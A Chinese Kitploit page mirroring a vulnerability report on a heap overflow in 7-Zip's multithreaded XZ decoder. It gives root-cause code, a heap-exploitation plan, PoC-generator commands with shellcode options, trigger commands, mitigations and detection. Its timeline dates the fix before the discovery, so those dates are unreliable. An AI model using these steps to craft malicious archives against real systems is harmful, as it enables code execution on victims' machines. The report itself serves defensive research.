Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-14266 — 7-Zip XZ 解码器堆缓冲区溢出 - 完整分析、根本原因、PoC 与 RCE 利用路线图 | Kitploit
工具/GitHubGitHub/liyuxuan504-byte/cve-2026-14266
内存取证漏洞分析代码分析漏洞利用逆向工程Shellcode调试器二进制分析Payload 开发二进制利用
GitHubliyuxuan504-byte/cve-2026-14266

CVE-2026-14266

7-Zip XZ 解码器堆缓冲区溢出 - 完整分析、根本原因、PoC 与 RCE 利用路线图

161个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库

CVE-2026-14266 — 7-Zip XZ 解码器堆缓冲区溢出

严重级别 | CVSS: 8.8(高危)| CWE-122:基于堆的缓冲区溢出
受影响版本:7-Zip ≤ 26.01 | 已修复版本:7-Zip 26.02(2026-06-25)
发现与分析:Li Yuxuan(liyuxuan504-byte)及其团队


执行摘要

7-Zip 版本 ≤ 26.01 的多线程 XZ 解码器路径中存在堆缓冲区溢出漏洞。恶意构造的 .xz 压缩包可触发越过堆分配输出缓冲区的越界写入,从而导致:

  • 拒绝服务(DoS)(已确认)——可稳定触发崩溃,错误码为 STATUS_ACCESS_VIOLATION (0xC0000005)
  • 远程代码执行(RCE)(潜在可能)——在正确的堆布局条件下,受控的堆溢出可导致函数指针/vtable 损坏

该漏洞位于 C/XzDec.c 中的 MixCoder_Code() 函数,其中的 SingleBuf(outBuf)分支在未针对剩余缓冲区容量(outBufSize - outWritten)进行边界限制的情况下,将未经检查的 destLen2 传递给 LZMA2 解码器。

任何使用存在漏洞的 7-Zip(或 7z.dll)解压不受信任的 .xz 文件的系统或应用程序均面临风险——在多核系统上,多线程路径默认启用。


漏洞深入分析

受影响的代码路径

root@kitploit:~
XZ Stream → XzUnpacker_Code (XZ_STATE_BLOCK)
  → MixCoder_Code(outBuf branch, p->outBuf != NULL)
    → destLen2 = destLenOrig          // ← NO boundary clamp
    → Lzma2State_Code2(..., &destLen2)
      → dicLimit = dicPos + destLen2  // ← can exceed dicBufSize
        → Lzma2Dec_DecodeToDic(...)
          → LZMA2 copy-chunk loop: memcpy(dic + dicPos, src, size)
            → dicPos exceeds dicBufSize → HEAP OVERFLOW

根本原因(26.01 与 26.02 对比)

存在漏洞(26.01)—— C/XzDec.c 约 L606:

root@kitploit:~
if (p->outBuf) {
    SizeT destLen2, srcLen2;
    srcLen2 = srcLenOrig;
    destLen2 = destLenOrig;              // ← raw value, no clamping!
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, &srcLen2,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;           // ← tracks total but never checks
}

已修复(26.02)—— C/XzDec.c 约 L605:

root@kitploit:~
if (p->outBuf) {
    SizeT destLen2;
    destLen2 = destLenOrig;
    if (p->numCoders != 1) {             // ★ NEW boundary check
        if (destLen2 < p->outWritten)
            return SZ_ERROR_FAIL;        // data inconsistency → abort
        destLen2 -= p->outWritten;       // clamp to remaining capacity!
    }
    *srcLen = srcLenOrig;
    {
        IStateCoder *coder = &p->coders[0];
        res = coder->Code2(coder->p, NULL, &destLen2, src, srcLen,
                           srcWasFinished, finishMode, &p->status);
    }
    p->outWritten += destLen2;
}

**修复仅 3 行。**它在将 destLen2 传递给 LZMA2 解码器之前,先从中减去 p->outWritten(已写入此 outBuf 的字节数),从而确保解码器永远不会写入超出已分配缓冲区的范围。

为何仅影响多线程?

在单线程路径中,XzUnpacker_Code 在调用 MixCoder_Code 之前会应用基于 unpackSize 的自身 rem 边界限制。该限制能正确约束输出。而多线程 SingleBuf 路径绕过了此限制,因为它直接将 destLenOrig 透传——当 destLen 被预先设置为完整剩余输入大小而非实际缓冲区剩余容量时,上游限制便不再起作用。


利用分析

堆分配行为

outBuf 通过 ISzAlloc_Alloc(allocMid, unpackSize) 在 CRT 堆上分配:

unpackSize分配器可利用性
≤ 16 KBLFH(低碎片堆)★ 最适合 RCE——同一存储桶中的相邻对象
16–64 KB

RCE 利用策略(LFH 路径)

最有前景的利用方法:

  1. **使用较小的 unpackSize(256–16384 字节)**以触发 LFH 分配
  2. 溢出 outBuf 进入相邻的 LFH 子段
  3. 破坏 LFH 空闲链表 next 指针 → 实现任意分配原语
  4. 将分配指向目标对象(函数指针、vtable、返回地址)
  5. 触发被破坏的指针 → 代码执行

当前状态

能力状态
DoS(崩溃)✅ 已确认,在 7-Zip 26.00 x64 上稳定复现
静默堆溢出(LFH)✅ 已确认——越过缓冲区写入,退出码 2,无崩溃
受控载荷投递✅ 可通过 LZMA2 复制块数据完全控制

为何调试很棘手

常规调试器(x64dbg、WinDbg)会改变进程创建行为。在调试器下,7z.dll 可能根本不会加载多线程 XZ 路径——进程会静默回退到单线程模式,此时漏洞不会触发。为此需要采用以下方法:

  • 在调试器外部启动 7z.exe
  • 在 1–2 秒内(崩溃前)附加
  • 或使用自定义迷你调试器(位于 tools/ 中)

PoC 生成器

poc/poc-cve-2026-14266-rce.py 是一个功能完整的 XZ 漏洞利用生成器:

快速开始

root@kitploit:~
# Crash confirmation (DoS):
python poc/poc-cve-2026-14266-rce.py -o crash.xz

# Offset discovery (cyclic pattern):
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-cyclic -o find-offset.xz

# Shellcode payload:
python poc/poc-cve-2026-14266-rce.py \
    --unpack-size 4096 --overflow 16384 --chunk-size 97 \
    --payload-shellcode -o exploit.xz

# Custom binary payload:
python poc/poc-cve-2026-14266-rce.py \
    --payload-file shellcode.bin --unpack-size 512 --overflow 8192 -o custom.xz

关键参数

触发

root@kitploit:~
# Multi-threaded (vulnerable path):
7z.exe x poc.xz -so -mmt=2 > NUL

# Single-threaded (NOT vulnerable — for comparison):
7z.exe x poc.xz -so -mmt=1 > NUL

测试结果

测试环境:Windows 11 Pro x64(内部版本 26200)+ 7-Zip 26.00

关键洞察: 所有 LFH 范围(≤16 KB)的分配都会产生静默溢出——载荷数据被写入相邻堆对象而不会立即崩溃。这是 RCE 利用的先决条件。


崩溃点(实时调试)

来自实时 x64dbg 会话(7-Zip 26.00,MT 路径):

root@kitploit:~
Fault instruction:  mov byte ptr [rcx], r11b
Fault address:      msvcrt.dll + 0x7B1EE (memcpy inner byte-copy loop)
Fault VA (rcx):     0x12363C50002 = outBuf_base + 0x40002
                    (2 bytes past the 0x40000-byte outBuf)

Decoder struct (rbx = 0x12363B0BB00):
  +0x28: outBuf base   = 0x12363C10000
  +0x30: outBuf capacity = 0x40000 (262144 = unpackSize)
  +0x38: write cursor  = 0x40000 (ALREADY FULL when overflow begins)

Call chain:
  msvcrt!memcpy
  ← 7z.dll+0x11EFF5 (LZMA2/XZ decode output copy loop)
  ← 7z.dll+0x1305D5
  ← 7z.dll+0x13071B (XZ multi-threaded decode entry)
  ← ntdll.dll+0x1D141 (thread start)

缓解措施与检测

缓解措施

  • 升级至 7-Zip 26.02 或更高版本(修复位于 C/XzDec.c)
  • 临时方案: 强制单线程解压:7z x -mmt=1 <file.xz>
  • 纵深防御: 启用 Windows Exploit Protection(CFG、ACG、堆完整性检查)

检测

  • 监控 7z.exe 在解压过程中以状态码 0xC0000005 退出
  • 关注 7z.exe 的堆损坏错误(0xC0000374)
  • YARA / 网络检测:查找 LZMA2 复制块总数据量超过声明 unpackSize 的 XZ 块

本仓库中的文件

root@kitploit:~
├── README.md                          ← This report
├── src-diff/
│   └── XzDec.diff.txt                 ← 26.01 vs 26.02 MixCoder_Code() diff
├── poc/
│   └── poc-cve-2026-14266-rce.py      ← PoC generator (cyclic/shellcode/raw)
├── tools/
│   ├── 04-heap-analyze.ps1            ← x64dbg MCP automation for heap layout
│   ├── 05-mini-debugger.ps1           ← C# Win32 debug API mini-debugger
│   └── 06-guard-dump.ps1              ← Guard-page heap dumper (LFH analysis)
└── docs/
    ├── 01-crash-point-analysis.md     ← Live crash trace (x64dbg)
    ├── 02-vulnerability-root-cause.md ← Full root cause analysis
    └── 03-rce-exploit-plan.md         ← RCE exploitation strategy

时间线

参考链接

  • 7-Zip 官方网站
  • 7-Zip 源代码(ip7z/7zip)
  • CWE-122:基于堆的缓冲区溢出
  • Windows LFH 内部机制

免责声明

本报告仅供教育和防御性安全研究之用。提供 PoC 代码是为了帮助安全研究人员和防御者理解该漏洞并开发检测能力。请勿将此代码用于您不拥有或未经明确授权测试的系统。

下载工具
段堆(后端)
可能——空闲链表损坏
≥ 64 KBVirtualAlloc(页对齐)仅 DoS——守护页拦截溢出
堆布局原语✅ 概念已验证——需针对具体目标进行布局调优
完整 RCE 利用链❌ 进行中——需要对目标进行堆布局分析
参数描述推荐值
--unpack-size块声明的 unpackSize(= outBuf 分配大小)256–4096(用于 LFH RCE)
--overflow写入越过 outBuf 的总字节数4096–32768
--chunk-sizeLZMA2 复制块数据大小(1–65535)不能整除 unpackSize! 使用质数(97)或 --force-align-overflow
--payload-cyclic用于偏移量发现的循环模式先使用此模式,再替换为真实载荷
--payload-shellcode嵌入 Win x64 WinExec("calc.exe") shellcode约 276 字节
unpackSizechunk_size溢出量结果
256 KB(0x40000)4096(对齐)~32 KB0xC0000005 — 访问冲突(守护页)
256 KB3(原始 DoS)~30 KB0xC0000005 — 访问冲突
256 KB4096~32 KB0xC0000374 — 检测到堆损坏
256 B97~1 KB退出码 2 — 静默溢出!
4 KB97~16 KB退出码 2 — 静默溢出!
16 KB97~32 KB退出码 2 — 静默溢出!
日期事件
2026-07-24发现并在 7-Zip 26.00 上确认漏洞
2026-07-24开发出崩溃 PoC;实时调试确认堆溢出
2026-07-24确定根本原因:MixCoder_Code 中缺少 destLen2 -= outWritten
2026-07-24开发出带 LFH 利用策略的 RCE PoC 生成器
2026-07-25发布完整分析报告
2026-06-25发布包含修复的 7-Zip 26.02